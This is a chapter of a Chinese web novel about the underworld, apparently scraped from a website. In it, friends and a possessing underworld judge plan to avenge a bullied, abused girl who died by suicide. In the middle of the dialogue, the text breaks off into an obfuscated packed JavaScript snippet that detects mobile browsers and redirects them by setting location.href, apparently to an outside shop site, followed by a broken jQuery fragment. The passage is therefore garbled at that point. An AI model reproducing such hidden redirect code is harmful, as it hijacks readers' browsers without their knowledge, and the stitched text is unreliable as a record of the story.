15. 第 15 章
作品:《地府日常》 “喵姐。”吴惟很艰难地走进店里,跟云菲打了声招呼。
“可别,我觉得你才是那个喵姐,哦不对,喵哥。”云菲捂嘴偷笑,“你看看,猫猫们对你比对我都好。”
“您就别调侃我了。”吴惟无奈,“我可不想哪天咱们班群又改成[喵哥和他的后宫]。”
然后他的标签绝对会变成[万人迷喵哥],或者[魅魔喵]之类的,真是熟悉的让人心酸。
“好的,神子大人,想喝什么,我请客。”一杯茶换一个乐子挺值的。
“金桔柠檬,谢谢。”点完单,吴惟看了看无处下脚的地板猫毯,问了一句,“我要怎么过去。”
“噗…”云菲再次忍不住笑出声。
吴惟面无表情地机械转头。
“好了好了不笑你了,乖乖崽们,让个位置看看让客人进去。”
“喵~”缅因老大哥率先站起来,指挥起猫猫队,很快猫猫如摩西分海让出了道。
吴惟:“?”
因待遇差别自闭的楚星垣:“?”
吴惟入座后,他们的位置直接被猫猫包围了,楚星垣这个动物绝缘体也有幸撸到了两把。
夙逸兴咂咂嘴,感叹道:“这就是愿力修者嘛,真是恐怖如斯。”
“好像是的。”吴惟点头。
“也对,毕竟愿力说白了就是正向情绪提供的能量,是纯粹无害的,会招小动物喜欢很正常,”夙逸兴一边感叹一边科普:“当然这个前提是你本身就是个好人,不然小动物敏感,你用心思不纯,就算修愿力,它们也是会感觉出来的。”
果然无为太太是很好的人呢。
云菲再次端着盘子上来,这次不仅有吴惟点的金桔柠檬,还送了一盘红豆糯米糍和水果的拼盘,脸色有些揶揄,道:“这是猫猫们送的,神子大人,不用客气哦~”
感受到周围古怪的目光,吴惟表情变得一言难尽。
终于忍无可忍,狠狠吐槽道:“倒也不必每次都叫外号吧。”
云菲假装没听到,离开的步伐充满了愉悦,哎呀呀~现在又多了一对cp可以嗑呢,对猫猫求而不得的猫奴和能够让他撸到猫的万猫迷,好嗑,嘻嘻。
可怜的事业cp被她扔到了角落,谁让她是杂食党呢,什么都嗑只会让她更健康!
“没想到无为你居然和学姐认识欸。”夙逸兴撑着脸,眼睛溜溜达达在云菲和吴惟只见扫来扫去。
“嗯,我们是大学同学。”
“哦豁,那你还是我们学长呢。”
“嗯。”
某人还真是把戳一下动一下的社恐本质发挥到了极致呢:)
“咳…私事就聊到这里吧,”夙明月适时插话道:“先介绍一下,我身边这位是楚星垣,是一位风水师,本职是建筑师。”
楚星垣矜持点头,“你好。”
嗯,得给对方留下个好印象,方便以后撸猫。
“你好,我是吴惟,插画师,嗯…愿力修者?你们刚刚好想是这么称呼的?”
“修愿力的话一般在古代都是神修,只不过到现代不讲究那些了,”夙逸兴补充道,她挺喜欢给吴惟科普玄学知识的,这位社恐太太有点好玩,“所以其实学姐叫你神子大人一点毛病也没有。”
吴惟脸色一僵,话题怎么又拐回来了。
夙明月无奈瞪了一眼姐姐,赶紧把话题扯回来:“好了,咱们先来汇总一下最近得到的信息,有什么不全的无为补充。”
“好。”
“先说说咱的委托人的个人情况吧,张钰婷,临市本地人,老家是农村的,她的父母有严重的重男轻女倾向,平时没事对她非打即骂,几乎家里所有的活都是她包揽的。”
“张钰婷初中的时候学习非常好,升学考试的时候,以近乎满分的成绩考进德育高中,也是因为这个可以免去学费和学杂费继续上学的。”
“我在网上看到她弟弟张钰宴提到过,如果不是为了读过高中以后好找工作养家,以及有一定学历好嫁人,家里根本不会同意她继续上学。”
“这家人是真畜生。”夙逸兴听一次骂一次。
“能找到她父母家暴的证据吗?”吴惟也听的很揪心,不过这些事他其实也清楚,因为他是“亲身经历”过的。
在幻境里,因为他冷漠的态度,那对夫妻估计怕他跑了才没对“她”真的动手,但是张钰婷本人就不一定了。
按理来说,不管是家暴还是虐待儿童都应该受到法律制裁,但是…“没有。哪怕她的邻居可以证明,他们也不可能去做吃力不讨好的事,更何况当初没有留下伤检。”
婴灵顶着吴惟的壳子冷笑道:“没关系,人间处罚不了,不是还有地府,总会付出代价的。”
夙家姐弟对视一眼,上次就察觉到了,但他们没说什么,夙明月继续之前的话:“高中这边,我有查到张钰婷最开始和三个室友关系还算不错,后来因为她帮室友带饭,打错了菜,室友说了她一顿之后,发现她软弱的性格,开始变本加厉。”
“钰婷在家里得不到爱,所以有点讨好型人格,室友对她好,她会加倍还回去室友对她不好的时候,她会下意识找自己的问题。”吴惟说到这又想叹气了,感觉当初上不来气需要靠叹气来顺气的时候都没这几天频率高。
“那三个女孩儿在钰婷的记忆里倒是没有真的动过手,但是pua可不少,什么穷酸,穷鬼,除了我们没人会和你交朋友之类的话可没少说,外面跟别人说这个室友多不好,私底下又指使她做这做那。”
“也就是这个时候,她身边所有人都离他越来越远,开始孤立她。钰婷很害怕,只能跟在她室友身后当小尾巴。”
夙逸兴脾气爆,最听不得这种话了,一拳捶到桌面上,爆了粗口“草,什么人啊,看不起就别吊着人家,想让别人做牛做马,也不看看自己配吗?”
之前哪怕交换过情报,但毕竟是用网络,内容也尽量精简了,所以了解到的只是很抽象的用校园霸凌、孤立等词去笼统的概括,哪怕加上之前的手书,也只是了解个大概。
第一次听到细节,触目惊心。
“这还没完,她们心情不好的时候,还会用各种方法折腾钰婷,有一次大冬天的,钰婷被她们骗过去,浇了一身水锁在仓库里一天一夜,差点没把人冻死。”
当时温度不算太低,她们本来也只是想关一天最后给忘了,第二天才想起来。
但算是就这一点不是故意的又怎么样,总归是她们先动了手,钰婷当初被救出去的时候下半身都是血。
虽然一般来说痛经都是因为体寒,血液瘀堵,一般不会流太狠,但是着凉的时候却又可能会出现血崩的症状。
“她们怎么敢?!”连楚星垣都听不下去了,这还是人吗,这可以算谋杀了吧!
夙明月皱眉道:“这件事我回去再查查,如果能找到证据,咱们去警局报案,虽然对方未满十六岁不会受到多少斤惩罚,但至少能给她们留下案底。”
就算能从用玄学的方式让她们付出代价,但做过的恶依旧要被人知道才行!
“另外还有个人,明月之前给我的资料里也没有,钰婷她遇到过三年级一个叫陆瘐的人,他曾经…骚扰过钰婷。”
这件事吴惟问过张钰婷,可不可以说,张钰婷同意了,如果能给她的仇人应有的惩罚,她就不怕被人骂,反正自己都已经死了,何况她生前名声本来就不好。
但是她甚至遭受过侵犯的事,吴惟无论如何都说不出口。
“姓陆,不意外。”楚星垣冷冷地说道:“陆氏集团的人,他们家家风本来就不正,能养出畜生毫不意外。”
三人侧目,夙逸兴问道:“你认识?”
“我之前大四的时候,导师带有们去他们工地实习,见过陆缪,就是陆瘐他爹,也是陆氏的当家人,当时就觉得这人不对劲,后来找莫繁去帮我看了一眼,身上人命官司可不少。”
“他身边道行不低的风水师护着,否则早就被鬼弄死了。我后来出国读研,就是为了躲开他背后那个风水师。”
至于斗法失败差点死掉的事就不用提了。
“这么说起来…”
“不无可能。”
夙家姐弟互相确认过眼神,不用说就知道某人肯定是斗法失败了,“这样的话就棘手了啊。”
“你既然跟他斗过法,应该有些了解吧。”
楚星垣感觉有点胃疼,真是不想对上谁,谁就蹦出来:“真是抱歉,我当时道行尚浅,除了对方是个风水师以外,我还真没看出来什么呢。”
“看来对方是真的很厉害,不过这一次就不一定了,”夙逸兴冷笑道,“心术不正的人最怕功德,咱们这边最不缺的也是功德。”
“可惜不能用。”
夙逸兴:“?”
夙明月:“?”
楚星垣:“不是,等等,哪来的功德?”
婴灵冒出头,用功德捏了个莲花,说道:“抱歉上次没说清楚,是这样的,之前你们应该就能感觉到我不是吴惟本人了吧。”
三人一呆,夙家姐弟是因为没想到那个上吴惟身的东西居然自爆了,楚星垣是有点跟不上节奏,都什么跟什么,怎么突然不是本人了?不过这人身上的气息确实变了。
夙明月:“确实如此,不过也是因为您没有怎么隐藏。”
婴灵:“我是临州赏善司的判官,地府不能插手人间事这点你们应该也清楚。”
“虽然张钰婷作为鬼,我是可以帮她,但是如果这中间涉及到阳间的一些家伙,我都不能碰。”
除非对方找事,不过真让她顶着吴惟的壳子去姓陆的面前晃悠,让他主动冲撞自己,也只能想想,这种冲撞的惩罚不致命,婴灵可不想给吴惟带去什么不必要的麻烦。
“其实至今没把婷婷救出来就是因为那个风水局,我不了解这个东西,强行破坏的话怕伤到她的魂体,到时候可能就救不回来了。”
“原来如此。”三人点头。
“所以,你说的那个人哪怕心术再不正,我都不能插手,除非他是什么死人用不正当的手段强留人间。”
“哎…不过判官欸,好酷!”夙逸兴后知后觉兴奋了起来,“难怪无为就算对玄门一窍不通,却进步神速!”
婴灵不好意思道:“不是我功劳啦,是吴惟他自己天赋就很高,随便指点他一下就开窍了。”
“现在不是说这个的时候吧。”刚刚还在害羞的“吴惟”脸突然黑了,就…看着挺神奇。
不过真要说起来,今天的进度也是喜人,谁能想到,关于幕后黑手的线索,居然以这样的方式找到的,真是天要亡他。
吴惟思索了一下,中间要补充的差不多说完了,示意夙明月继续。
“接下来是张钰婷自杀的时候,网上的消息似乎都被封锁了,几乎没掀起什么水花,不过还是有一些媒体报道的,但都是用学习压力大来搪塞。”
“学校给张家赔偿了一大笔费用之后,不了了之了,张家人现在已经搬离临市隔壁安市买了房安了家,真是好不快活。”
夙逸兴鼓掌,皮笑肉不笑说道:“呵呵,真是好结果,除了最无辜的人受伤,所有人都获得了好结果呢。”
楚星垣总结了一下:“现在算下来,我们要对付的反派有三方,首先是那三个室友,需要找到她们把张钰婷关进仓库的证据,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193581|197105||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这一点明月最擅长就交给明月来办。”
夙明月:“没问题。”
“证据找出来,不光地让她们留下案底,还得给她们好好宣传一下,不是喜欢孤立吗,让她们自己也体验一下。”
夙逸兴互相:“好,我喜欢。”
“其次是陆家,陆家那边想对付他们必须先对付风水师,剩下的,光凭他们做过的那些事,够他们死无数次了,至于怎么找到对方…无为兄弟有没有什么想法?”
吴惟沉吟了一会儿,道:“我刚刚问了一下判官小姐,因果符阵可行。”
把他用风水局吸引力的怨气直接用在他身上,保管那人喝一壶,绝对没精力插手这件事,说不定还能找到那人的下落。
楚星垣顿了一下,掏了掏耳朵,来了一句:“不是等等,你刚刚说什么?因果符阵?是那个可以把因果反弹,让施术者自尝果报的因果符阵?!”
“嗯,有什么问题吗?”这是吴惟的声音。
“符阵是什么?”这是夙家姐弟的声音。
“有问题,问题大了!你居然是符阵师!”楚星垣双手都搭到了吴惟肩膀上,“你知不知道符阵师有多稀有,十个风水师里面都难出一个符阵师,更何况是能画因果符阵的!”
因果符阵,是所有符阵中最简单的,也是最难的那个,因为大道至简,所以它简单,因为没什么规律,需要自己悟,所以它又最难。
但是吴惟最不缺的就是悟性。
楚星垣动静太大了,云菲脑袋都从接待区伸了过来,好奇地问道:“你们这是在玩什么人设扮演吗?”
“是啊,我新做了个世界观,准备画点关于灵异的设定,所以找几个朋友演一下给我找找感觉。”吴惟面无表情地说道。
他们三班的人,一个个都是戏精,谁还不知道谁啊。
云菲露出了一脸“我懂我懂”的表情,感叹了一声,“没想到我们班最不合群的家伙,也找到了志同道合伙伴,恭喜啊~”
吴惟歪头:“谢谢。”
“不客气。”云菲挥挥手,回到了柜台前继续玩平板。
三人松了口气,还好还好。
夙逸兴踹了一脚楚星垣,楚某人赶紧回到座位上老老实实坐下,跟夙家姐弟科普,“符阵顾名思义是符箓和阵法的结合,灵活性不及阵法,单纯的威力和用途也不及符箓,但是胜在生生不息,以及原料自由上。”
“明月是符师,应该最明白原料对符箓的影响了吧,阵法对原料的要求也是一样的高,因为他们都是属于消耗品,耗材越好,威力就越大。”
“但是符阵不一样,哪怕只用最简单的材料,一旦牵动一丝气机,它就会源源不断从外界汲取能量然后反馈给符阵本身。”
“风水寻龙点穴本质上就是在布置符阵,只不过我们需要借助太多的外力来确保符阵的运营,并且这符阵也是有使用寿命的,一旦周围的气场消耗过多,符阵也威力也会大减。”
“但是到了符阵师的水平就不一样了,他们甚至可以通过一些改动,把阴煞之地变成风水宝地,甚至使空气中的能量达到一种生生不息的平衡。”
“比如,”夙明月想起吴惟那张天官赐福,掏出手机翻到“事事无为”的主页,把手机放到桌面中间,“这个?”
“??!!”楚星垣惊了,但他还记得要小声说话,“是我眼花了吗,我居然在一幅画上看到了符阵?!”
“啊…这个是祝福符阵,”吴惟死鱼眼望天,他还真没觉得自己做了什么惊世骇俗的举动,“就…我当时不是想,反正画都画了,顺手把符阵也画上去,就这样了,我也没想到真有效果。”
楚星垣来回扒拉手机,大概理解了他的思路,惊叹道:“天才啊,我怎么没想到呢,虽然一般来说用画卷做出来符阵能够收集的能量太过微弱没什么意义,但是有网络啊!”
“只要不断有人表达对它的喜爱,它就能源源不断的吸收愿力反馈愿力,无为兄弟你真的太机智了!”
“而且能做到无中生有,本身就是符阵师中的翘楚。”
“有了符阵就好办了,到时候无为兄弟把因果符阵嵌入那狗东西的风水局中,等它自己反噬,自食恶果,哼。”
楚星垣露出贱兮兮的笑容,“到时候甚至不用担心多出来的怨气伤人,所有被聚集来的怨气都会反馈到那个人身上,就是不知道那家伙吃不吃的下咯。”
“等风水局中的怨气被因果符阵引走,就不怕里面的东西出来祸害周边了。到时候我再去一趟,给里面开个口子,就能把张钰婷的灵魂引出来,接下来就要麻烦判官大人了。”
婴灵保证道:“没问题。”
“好,这一点不用担心了,最后是张家,别的不说,最少吃掉的人血馒头地让他们吐出来。”话题回到刚刚,“明月。”
夙明月依旧靠谱,道:“放心,他们家的事我会一并查的,就算不能通过帮张钰婷平反去收拾他们,至少她那个弟弟可不是什么省油的灯,随便挖挖就能挖到一些料。”
“之前在临市上学的时候还跟人打架被打进医院呢。”
“吴惟”眨巴眨巴眼睛,一脸天真无邪地吐出恶毒之语,“实在不行的话,我就陪钰婷回家一趟。”
要知道冲撞判官可是会把三年内所有罪孽都清算一遍呢。
“他们那样的人,应该造过不少口业吧。”
姓陆的家大业大碰不得,但是张家可没什么家底,真去了也不会给自家崽子招惹什么麻烦,嘻嘻。
“嘶…”
“好狠!”
“这是什么天然黑。”
“以后绝对不能惹无为太太。”
.

